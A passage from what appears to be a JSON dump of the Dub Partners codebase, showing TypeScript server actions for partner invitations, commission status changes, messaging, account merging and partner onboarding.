getGroupRewardsAndBounties({\n            programId,\n            groupId: enrolledPartner.groupId || program.defaultGroupId,\n          });\n          await sendEmail({\n            subject: `${program.name} invited you to join on Dub Partners`,\n            variant: \"notifications\",\n            to: partner.email,\n            react: ProgramNetworkInvite({\n              email: partner.email,\n              name: partner.name,\n              program: {\n                name: program.name,\n                slug: program.slug,\n                logo: program.logo,\n              },\n              ...rewardsAndBounties,\n            }),\n          });\n        })(),\n\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"partner.invited\",\n          description: `Partner ${enrolledPartner.id} invited from network`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: enrolledPartner.id,\n              metadata: enrolledPartner,\n            },\n          ],\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/invite-partner.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createAndEnrollPartner } from \"@/lib/api/partners/create-and-enroll-partner\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { invitePartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramInvite from \"@dub/email/templates/program-invite\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const invitePartnerAction = authActionClient\n  .inputSchema(invitePartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { groupId, email, username, name } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n      include: {\n        partners: {\n          where: {\n            partner: {\n              email,\n            },\n          },\n        },\n        emailDomains: {\n          where: {\n            status: \"verified\",\n          },\n        },\n      },\n    });\n\n    if (program.partners.length > 0) {\n      const statusMessages = {\n        invited: \"has already been invited to\",\n        approved: \"is already enrolled in\",\n        rejected: \"was rejected from\",\n        declined: \"declined the invite to\",\n        pending: \"has a pending application to join\",\n      };\n\n      const message = statusMessages[program.partners[0].status];\n\n      if (message) {\n        throw new Error(`Partner ${email} ${message} this program.`);\n      }\n    }\n\n    if (!groupId && !program.defaultGroupId) {\n      throw new Error(\"No group ID provided and no default group ID found.\");\n    }\n\n    const enrolledPartner = await createAndEnrollPartner({\n      workspace,\n      program,\n      partner: {\n        email,\n        username,\n        name,\n        ...(groupId && { groupId }),\n      },\n      userId: user.id,\n      skipEnrollmentCheck: true,\n      status: \"invited\",\n    });\n\n    // Use saved invite email data from program if available\n    const inviteEmailData = program.inviteEmailData;\n\n    const sendPartnerInvitePromise = (async () => {\n      try {\n        const rewardsAndBounties = await getGroupRewardsAndBounties({\n          programId,\n          groupId: enrolledPartner.groupId || program.defaultGroupId,\n        });\n\n        await sendEmail({\n          subject:\n            inviteEmailData?.subject ||\n            `${program.name} invited you to join Dub Partners`,\n          variant: \"notifications\",\n          // use the first verified email domain as the from email address\n          from:\n            program.emailDomains.length > 0\n              ? `${program.name} <partners@${program.emailDomains[0].slug}>`\n              : undefined,\n          to: email,\n          replyTo: program.supportEmail || \"noreply\",\n          react: ProgramInvite({\n            email,\n            name: enrolledPartner.name,\n            program: {\n              name: program.name,\n              slug: program.slug,\n              logo: program.logo,\n            },\n            ...(inviteEmailData?.subject && {\n              subject: inviteEmailData.subject,\n            }),\n            ...(inviteEmailData?.title && { title: inviteEmailData.title }),\n            ...(inviteEmailData?.body && { body: inviteEmailData.body }),\n            ...rewardsAndBounties,\n          }),\n        });\n      } catch (error) {\n        console.error(\"Failed to send partner invite email\", {\n          error,\n          partnerId: enrolledPartner.partnerId || enrolledPartner.id,\n          programId,\n        });\n      }\n    })();\n\n    waitUntil(\n      Promise.allSettled([\n        sendPartnerInvitePromise,\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"partner.invited\",\n          description: `Partner ${enrolledPartner.id} invited`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: enrolledPartner.id,\n              metadata: enrolledPartner,\n            },\n          ],\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/mark-commission-duplicate.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst markCommissionDuplicateSchema = z.object({\n  workspaceId: z.string(),\n  commissionId: z.string(),\n});\n\n// Mark a commission as duplicate\nexport const markCommissionDuplicateAction = authActionClient\n  .inputSchema(markCommissionDuplicateSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { commissionId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const commission = await prisma.commission.findUniqueOrThrow({\n      where: {\n        id: commissionId,\n      },\n      include: {\n        payout: true,\n      },\n    });\n\n    if (commission.programId !== programId) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Commission not found.\",\n      });\n    }\n\n    if (commission.status === \"paid\") {\n      throw new Error(\"You cannot mark a paid commission as duplicate.\");\n    }\n\n    await prisma.$transaction(async (tx) => {\n      await tx.commission.update({\n        where: {\n          id: commission.id,\n        },\n        data: {\n          status: \"duplicate\",\n          payoutId: null,\n        },\n      });\n\n      // if there is a payout associated with this commission\n      // we need to update the payout amount if the commission is being marked as duplicate\n      if (commission.payout) {\n        const earnings = commission.earnings;\n        const revisedAmount = commission.payout.amount - earnings;\n\n        if (revisedAmount === 0) {\n          return tx.payout.delete({ where: { id: commission.payout.id } });\n        }\n        return tx.payout.update({\n          where: { id: commission.payout.id },\n          data: { amount: revisedAmount },\n        });\n      }\n    });\n\n    waitUntil(\n      (async () => {\n        await Promise.allSettled([\n          syncTotalCommissions({\n            partnerId: commission.partnerId,\n            programId,\n          }),\n\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"commission.marked_duplicate\",\n            description: `Commission ${commissionId} marked as duplicate`,\n            actor: user,\n            targets: [\n              {\n                type: \"commission\",\n                id: commissionId,\n                metadata: commission,\n              },\n            ],\n          }),\n        ]);\n      })(),\n    );\n\n    // TODO: We might want to store the history of the sale status changes\n    // TODO: Send email to the partner informing them about the sale status change\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/mark-commission-fraud-or-canceled.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst markCommissionFraudOrCanceledSchema = z.object({\n  workspaceId: z.string(),\n  commissionId: z.string(),\n  status: z.enum([\"fraud\", \"canceled\"]),\n});\n\n// Mark a commission as fraud or canceled for a partner + customer for all historical commissions\nexport const markCommissionFraudOrCanceledAction = authActionClient\n  .inputSchema(markCommissionFraudOrCanceledSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { commissionId, status } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const commission = await prisma.commission.findUniqueOrThrow({\n      where: {\n        id: commissionId,\n      },\n    });\n\n    if (commission.programId !== programId) {\n      throw new Error(\"Commission not found.\");\n    }\n\n    const { partnerId, customerId } = commission;\n\n    // for custom and click commissions, only update this commission\n    // for all other commission types, update all historical commissions for the customer and partner combination\n    const commissions = await prisma.commission.findMany({\n      where: {\n        ...(commission.type === \"custom\" || commission.type === \"click\"\n          ? { id: commissionId }\n          : {}),\n        partnerId,\n        customerId,\n        status: {\n          in: [\"pending\", \"processed\"],\n        },\n      },\n      include: {\n        payout: true,\n      },\n    });\n\n    const commissionsWithPayout = commissions.filter(\n      (commission) => commission.payout,\n    );\n\n    // Group commissions by payout ID to batch updates\n    const payoutUpdates = commissionsWithPayout.reduce(\n      (acc, commission) => {\n        const payoutId = commission.payout!.id;\n\n        if (!acc[payoutId]) {\n          acc[payoutId] = {\n            payoutId,\n            currentAmount: commission.payout!.amount,\n            earningsToDeduct: 0,\n          };\n        }\n\n        acc[payoutId].earningsToDeduct += commission.earnings;\n\n        return acc;\n      },\n      {} as Record<\n        string,\n        {\n          payoutId: string;\n          currentAmount: number;\n          earningsToDeduct: number;\n        }\n      >,\n    );\n\n    await prisma.$transaction([\n      ...Object.values(payoutUpdates).map(\n        ({ payoutId, currentAmount, earningsToDeduct }) => {\n          if (currentAmount - earningsToDeduct === 0) {\n            return prisma.payout.delete({ where: { id: payoutId } });\n          }\n          return prisma.payout.update({\n            where: { id: payoutId },\n            data: { amount: currentAmount - earningsToDeduct },\n          });\n        },\n      ),\n      prisma.commission.updateMany({\n        where: {\n          id: {\n            in: commissions.map((commission) => commission.id),\n          },\n        },\n        data: { status, payoutId: null },\n      }),\n    ]);\n\n    waitUntil(\n      (async () => {\n        await Promise.allSettled([\n          syncTotalCommissions({\n            partnerId: commission.partnerId,\n            programId,\n          }),\n\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action:\n              status === \"fraud\"\n                ? \"commission.marked_fraud\"\n                : \"commission.canceled\",\n            description: `Commission ${commissionId} marked as ${status}`,\n            actor: user,\n            targets: [\n              {\n                type: \"commission\",\n                id: commissionId,\n                metadata: commission,\n              },\n            ],\n          }),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/mark-partner-messages-read.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\n// Mark partner messages as read\nexport const markPartnerMessagesReadAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { partnerId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"messages.read\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await prisma.message.updateMany({\n      where: {\n        partnerId,\n        programId,\n        readInApp: null,\n        senderPartnerId: {\n          not: null,\n        },\n      },\n      data: {\n        readInApp: new Date(),\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/mark-program-messages-read.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  programSlug: z.string(),\n});\n\n// Mark program messages as read\nexport const markProgramMessagesReadAction = authPartnerActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partner } = ctx;\n    const { programSlug } = parsedInput;\n\n    const program = await prisma.program.findFirstOrThrow({\n      select: {\n        id: true,\n      },\n      where: {\n        slug: programSlug,\n        OR: [\n          {\n            partners: {\n              some: {\n                partnerId: partner.id,\n              },\n            },\n          },\n          {\n            messages: {\n              some: {\n                partnerId: partner.id,\n              },\n            },\n          },\n        ],\n      },\n    });\n\n    await prisma.message.updateMany({\n      where: {\n        partnerId: partner.id,\n        programId: program.id,\n        readInApp: null,\n        senderPartnerId: null,\n      },\n      data: {\n        readInApp: new Date(),\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/merge-partner-accounts.ts",
    "content": "\"use server\";\n\nimport { generateOTP } from \"@/lib/auth/utils\";\nimport { qstash } from \"@/lib/cron\";\nimport { ratelimit, redis } from \"@/lib/upstash\";\nimport { emailSchema } from \"@/lib/zod/schemas/auth\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport VerifyEmailForAccountMerge from \"@dub/email/templates/verify-email-for-account-merge\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst CACHE_KEY_PREFIX = \"merge-partner-accounts\";\nconst CACHE_EXPIRY_IN = 10 * 60; // 10 minutes\nconst EMAIL_OTP_EXPIRY_IN = 5 * 60; // 5 minutes\nconst MAX_ATTEMPTS = 3; // 3 attempts per 24 hours\n\nconst schema = z.discriminatedUnion(\"step\", [\n  z.object({\n    step: z.literal(\"send-tokens\"),\n    sourceEmail: emailSchema,\n    targetEmail: emailSchema,\n  }),\n\n  z.object({\n    step: z.literal(\"verify-tokens\"),\n    sourceEmail: emailSchema,\n    targetEmail: emailSchema,\n    sourceCode: z.string().min(1),\n    targetCode: z.string().min(1),\n  }),\n\n  z.object({\n    step: z.literal(\"merge-accounts\"),\n  }),\n]);\n\nexport const mergePartnerAccountsAction = authPartnerActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { user } = ctx;\n    const { step } = parsedInput;\n\n    switch (step) {\n      case \"send-tokens\":\n        return await sendTokens({\n          ...parsedInput,\n          userId: user.id,\n        });\n      case \"verify-tokens\":\n        return await verifyTokens({\n          ...parsedInput,\n          userId: user.id,\n        });\n      case \"merge-accounts\":\n        return await mergeAccounts({\n          userId: user.id,\n        });\n      default:\n        throw new Error(\"Unknown step.\");\n    }\n  });\n\n// Step 1: Send email verification tokens\nconst sendTokens = async ({\n  sourceEmail,\n  targetEmail,\n  userId,\n}: {\n  sourceEmail: string;\n  targetEmail: string;\n  userId: string;\n}) => {\n  const { success } = await ratelimit(MAX_ATTEMPTS, \"24 h\").limit(\n    `${CACHE_KEY_PREFIX}:step-1:${userId}`,\n  );\n\n  if (!success) {\n    throw new Error(\n      \"You've reached the maximum number of attempts for the past 24 hours. Please wait and try again later.\",\n    );\n  }\n\n  const anotherRequestExists = await redis.exists(\n    `${CACHE_KEY_PREFIX}:${userId}`,\n  );\n\n  if (anotherRequestExists) {\n    throw new Error(\n      \"Another verification process is already in progress. Please wait for it to complete before starting a new one.\",\n    );\n  }\n\n  if (sourceEmail === targetEmail) {\n    throw new Error(\"Source and target emails cannot be the same.\");\n  }\n\n  const partnerAccounts = await prisma.partner.findMany({\n    where: {\n      email: {\n        in: [sourceEmail, targetEmail],\n      },\n    },\n    select: {\n      id: true,\n      email: true,\n      country: true,\n      payoutsEnabledAt: true,\n    },\n  });\n\n  if (partnerAccounts.length === 0) {\n    throw new Error(\n      \"Partner accounts not found. Please check the emails you entered.\",\n    );\n  }\n\n  const sourceAccount = partnerAccounts.find(\n    ({ email }) => email?.toLowerCase() === sourceEmail.toLowerCase(),\n  );\n\n  const targetAccount = partnerAccounts.find(\n    ({ email }) => email?.toLowerCase() === targetEmail.toLowerCase(),\n  );\n\n  if (!sourceAccount) {\n    throw new Error(\n      `Source partner account ${sourceEmail} not found. Please check the email you entered.`,\n    );\n  }\n\n  if (!targetAccount) {\n    throw new Error(\n      `Target partner account ${targetEmail} not found. Please check the email you entered.`,\n    );\n  }\n\n  if (sourceAccount.payoutsEnabledAt) {\n    throw new Error(\n      \"Account merging is not available if payouts are enabled on the source account. Please contact support for assistance.\",\n    );\n  }\n\n  // if source acocunt country is set and is different from target account country, throw an error\n  if (\n    sourceAccount.country &&\n    sourceAccount.country !== targetAccount.country\n  ) {\n    throw new Error(\n      \"You cannot merge partner accounts that are in different countries. Please contact support for assistance.\",\n    );\n  }\n\n  await prisma.emailVerificationToken.deleteMany({\n    where: {\n      identifier: {\n        in: [sourceEmail, targetEmail],\n      },\n    },\n  });\n\n  await redis.del(`${CACHE_KEY_PREFIX}:${userId}`);\n\n  const sourceEmailCode = generateOTP();\n  const targetEmailCode = generateOTP();\n  const expires = new Date(Date.now() + EMAIL_OTP_EXPIRY_IN * 1000);\n\n  await prisma.emailVerificationToken.createMany({\n    data: [\n      {\n        identifier: sourceEmail,\n        token: sourceEmailCode,\n        expires,\n      },\n      {\n        identifier: targetEmail,\n        token: targetEmailCode,\n        expires,\n      },\n    ],\n  });\n\n  await sendBatchEmail([\n    {\n      variant: \"notifications\",\n      to: sourceEmail,\n      subject: \"Verify your email to merge your Dub Partners accounts\",\n      react: VerifyEmailForAccountMerge({\n        email: sourceEmail,\n        code: sourceEmailCode,\n        expiresInMinutes: EMAIL_OTP_EXPIRY_IN / 60,\n      }),\n    },\n    {\n      variant: \"notifications\",\n      to: targetEmail,\n      subject: \"Verify your email to merge your Dub Partners accounts\",\n      react: VerifyEmailForAccountMerge({\n        email: targetEmail,\n        code: targetEmailCode,\n        expiresInMinutes: EMAIL_OTP_EXPIRY_IN / 60,\n      }),\n    },\n  ]);\n};\n\n// Step 2: Verify email verification tokens\nconst verifyTokens = async ({\n  sourceEmail,\n  targetEmail,\n  sourceCode,\n  targetCode,\n  userId,\n}: {\n  sourceEmail: string;\n  targetEmail: string;\n  sourceCode: string;\n  targetCode: string;\n  userId: string;\n}) => {\n  const { success } = await ratelimit(MAX_ATTEMPTS, \"24 h\").limit(\n    `${CACHE_KEY_PREFIX}:step-2:${userId}`,\n  );\n\n  if (!success) {\n    throw new Error(\n      \"You've reached the maximum number of attempts for the past 24 hours. Please wait and try again later.\",\n    );\n  }\n\n  const [sourceToken, targetToken] = await Promise.all([\n    prisma.emailVerificationToken.findUnique({\n      where: {\n        identifier_token: {\n          identifier: sourceEmail,\n          token: sourceCode,\n        },\n      },\n    }),\n\n    prisma.emailVerificationToken.findUnique({\n      where: {\n        identifier_token: {\n          identifier: targetEmail,\n          token: targetCode,\n        },\n      },\n    }),\n  ]);\n\n  if (!sourceToken) {\n    throw new Error(\n      `The code entered for ${sourceEmail} does not match. Please double-check it and enter it again.`,\n    );\n  }\n\n  if (sourceToken.expires < new Date()) {\n    throw new Error(\n      `The code entered for ${sourceEmail} has expired. Please request a new code.`,\n    );\n  }\n\n  if (!targetToken) {\n    throw new Error(\n      `The code entered for ${targetEmail} does not match. Please double-check it and enter it again.`,\n    );\n  }\n\n  if (targetToken.expires < new Date()) {\n    throw new Error(\n      `The code entered for ${targetEmail} has expired. Please request a new code.`,\n    );\n  }\n\n  await prisma.emailVerificationToken.deleteMany({\n    where: {\n      identifier: {\n        in: [sourceEmail, targetEmail],\n      },\n    },\n  });\n\n  // Make sure this is set before going to the next step\n  await redis.set(\n    `${CACHE_KEY_PREFIX}:${userId}`,\n    {\n      sourceEmail,\n      targetEmail,\n      status: \"verified\",\n    },\n    {\n      ex: CACHE_EXPIRY_IN,\n    },\n  );\n\n  const partnerAccounts = await prisma.partner.findMany({\n    where: {\n      email: {\n        in: [sourceEmail, targetEmail],\n      },\n    },\n    select: {\n      name: true,\n      email: true,\n      image: true,\n    },\n  });\n\n  if (partnerAccounts.length === 0) {\n    throw new Error(\"Could not find the partner accounts. Please try again.\");\n  }\n\n  return partnerAccounts.sort((a, b) => {\n    if (a.email === sourceEmail) return -1;\n    if (b.email === sourceEmail) return 1;\n    return 0;\n  });\n};\n\n// Step 3: Merge partner accounts\nconst mergeAccounts = async ({ userId }: { userId: string }) => {\n  const { success } = await ratelimit(MAX_ATTEMPTS, \"24 h\").limit(\n    `${CACHE_KEY_PREFIX}:step-3:${userId}`,\n  );\n\n  if (!success) {\n    throw new Error(\n      \"You've reached the maximum number of attempts for the past 24 hours. Please wait and try again later.\",\n    );\n  }\n\n  const accounts = await redis.get<{\n    sourceEmail: string;\n    targetEmail: string;\n  }>(`${CACHE_KEY_PREFIX}:${userId}`);\n\n  if (!accounts) {\n    throw new Error(\n      \"The verification process has been expired. Please restart the process again from the beginning.\",\n    );\n  }\n\n  if (!accounts.sourceEmail || !accounts.targetEmail) {\n    throw new Error(\"Unknown error occurred. Please try again.\");\n  }\n\n  const { sourceEmail, targetEmail } = accounts;\n\n  await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/merge-accounts`,\n    body: {\n      userId,\n      sourceEmail,\n      targetEmail,\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/message-partner.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getNetworkInvitesUsage } from \"@/lib/api/partners/get-network-invites-usage\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { qstash } from \"@/lib/cron\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport {\n  MessageSchema,\n  messagePartnerSchema,\n} from \"../../zod/schemas/messages\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = messagePartnerSchema.extend({\n  workspaceId: z.string(),\n});\n\n// Message a partner\nexport const messagePartnerAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId, text } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"messages.write\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    if (!getPlanCapabilities(workspace.plan).canMessagePartners) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"Messaging is only available on Advanced and Enterprise plans. Upgrade to get access.\",\n      });\n    }\n\n    // Make sure partner is either discoverable, enrolled in the program, or already has a message with the program\n    const { _count } = await prisma.partner.findFirstOrThrow({\n      where: {\n        id: partnerId,\n        OR: [\n          {\n            discoverableAt: {\n              not: null,\n            },\n          },\n          {\n            programs: {\n              some: {\n                programId,\n              },\n            },\n          },\n          {\n            messages: {\n              some: {\n                programId,\n              },\n            },\n          },\n        ],\n      },\n      include: {\n        _count: {\n          select: {\n            programs: {\n              where: {\n                programId,\n              },\n            },\n            messages: {\n              where: {\n                programId,\n              },\n            },\n          },\n        },\n      },\n    });\n\n    // if partner is not enrolled in the program and it's the first message\n    // it means the program is reaching out via the partner network\n    if (_count.programs === 0 && _count.messages === 0) {\n      const networkInvitesUsage = await getNetworkInvitesUsage(workspace);\n\n      if (networkInvitesUsage >= workspace.networkInvitesLimit) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: \"You have reached your partner network invitations limit.\",\n        });\n      }\n\n      await prisma.discoveredPartner.upsert({\n        where: {\n          programId_partnerId: {\n            programId,\n            partnerId,\n          },\n        },\n        create: {\n          id: createId({ prefix: \"dpn_\" }),\n          programId,\n          partnerId,\n          messagedAt: new Date(),\n        },\n        update: {\n          messagedAt: new Date(),\n        },\n      });\n    }\n\n    const message = await prisma.message.create({\n      data: {\n        id: createId({ prefix: \"msg_\" }),\n        programId,\n        partnerId,\n        senderUserId: user.id,\n        text,\n      },\n      include: {\n        senderUser: true,\n        senderPartner: true,\n      },\n    });\n\n    waitUntil(\n      qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/messages/notify-partner`,\n        body: {\n          programId,\n          partnerId,\n          lastMessageId: message.id,\n        },\n        delay: 60 * 3, // 3 minute delay for a chance to read + batching multiple messages\n      }),\n    );\n\n    return {\n      message: MessageSchema.parse(message),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/message-program.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport {\n  MessageSchema,\n  messageProgramSchema,\n} from \"../../zod/schemas/messages\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\n// Message a program\nexport const messageProgramAction = authPartnerActionClient\n  .inputSchema(messageProgramSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partner, user } = ctx;\n    const { programSlug, text } = parsedInput;\n\n    const program = await prisma.program.findFirstOrThrow({\n      select: {\n        id: true,\n      },\n      where: {\n        slug: programSlug,\n\n        // Partner is not banned from the program\n        partners: {\n          none: {\n            partnerId: partner.id,\n            status: \"banned\",\n          },\n        },\n\n        OR: [\n          // Program has messaging enabled and partner is enrolled\n          {\n            messagingEnabledAt: {\n              not: null,\n            },\n            partners: {\n              some: {\n                partnerId: partner.id,\n              },\n            },\n          },\n\n          // Partner has received a direct message from the program before\n          {\n            messages: {\n              some: {\n                partnerId: partner.id,\n                senderPartnerId: null, // Sent by the program\n              },\n            },\n          },\n        ],\n      },\n    });\n\n    const message = await prisma.message.create({\n      data: {\n        id: createId({ prefix: \"msg_\" }),\n        programId: program.id,\n        partnerId: partner.id,\n        senderPartnerId: partner.id,\n        senderUserId: user.id,\n        text,\n      },\n      include: {\n        senderUser: true,\n        senderPartner: true,\n      },\n    });\n\n    waitUntil(\n      qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/messages/notify-program`,\n        body: {\n          programId: program.id,\n          partnerId: partner.id,\n          lastMessageId: message.id,\n        },\n        delay: 60 * 3, // 3 minute delay for a chance to read + batching multiple messages\n      }),\n    );\n\n    return {\n      message: MessageSchema.parse(message),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/onboard-partner.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { completeProgramApplications } from \"@/lib/partners/complete-program-applications\";\nimport { storage } from \"@/lib/storage\";\nimport { onboardPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authUserActionClient } from \"../safe-action\";\n\n// Onboard a new partner:\n// - If the Partner already exists and matches the user's email, update the Partner\n// - If the Partner doesn't exist, create it\nexport const onboardPartnerAction = authUserActionClient\n  .inputSchema(onboardPartnerSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { user } = ctx;\n    const { name, image, country, description, profileType } = parsedInput;\n\n    const existingPartner = await prisma.partner.findUnique({\n      where: {\n        email: user.email,\n      },\n    });\n\n    const partnerId = existingPartner\n      ? existingPartner.id\n      : createId({ prefix: \"pn_\" });\n\n    const imageUrl = image\n      ? await storage\n          .upload({\n            key: `partners/${partnerId}/image_${nanoid(7)}`,\n            body: image,\n          })\n          .then(({ url }) => url)\n      : undefined;\n\n    // country, profileType, and companyName cannot be changed once set\n    const payload: Prisma.PartnerCreateInput = {\n      name: name || user.email,\n      email: user.email,\n      // can only update these fields if it's not already set (else you need to update under profile settings)\n      ...(existingPartner?.country ? {} : { country }),\n      ...(existingPartner?.profileType ? {} : { profileType }),\n      ...(description && { description }),\n      image: imageUrl,\n      users: {\n        connectOrCreate: {\n          where: {\n            userId_partnerId: {\n              userId: user.id,\n              partnerId: partnerId,\n            },\n          },\n          create: {\n            userId: user.id,\n            role: \"owner\",\n            notificationPreferences: {\n              create: {},\n            },\n          },\n        },\n      },\n    };\n\n    await Promise.all([\n      existingPartner\n        ? prisma.partner.update({\n            where: {\n              id: existingPartner.id,\n            },\n            data: payload,\n          })\n        : prisma.partner.create({\n            data: {\n              id: partnerId,\n              ...payload,\n            },\n          }),\n\n      // if the user doesn't have a default partner id, set the new partner id as the user's default partner id\n      !user.defaultPartnerId &&\n        prisma.user.update({\n          where: {\n            id: user.id,\n          },\n          data: {\n            defaultPartnerId: partnerId,\n          },\n        }),\n    ]);\n\n    // Complete any outstanding program application\n    waitUntil(completeProgramApplications(user.email));\n\n    // if the user doesn't have an image, set the uploaded image as the user's image\n    if (!user.image && image) {\n      waitUntil(\n        storage\n          .upload({\n            key: `avatars/${user.id}`,\n            body: image,\n          })\n          .then(({ url }) => {\n            prisma.user.update({\n              where: {\n                id: user.id,\n              },\n              data: { image: url },\n            });\n          }),\n      );\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/onboard-program.ts",
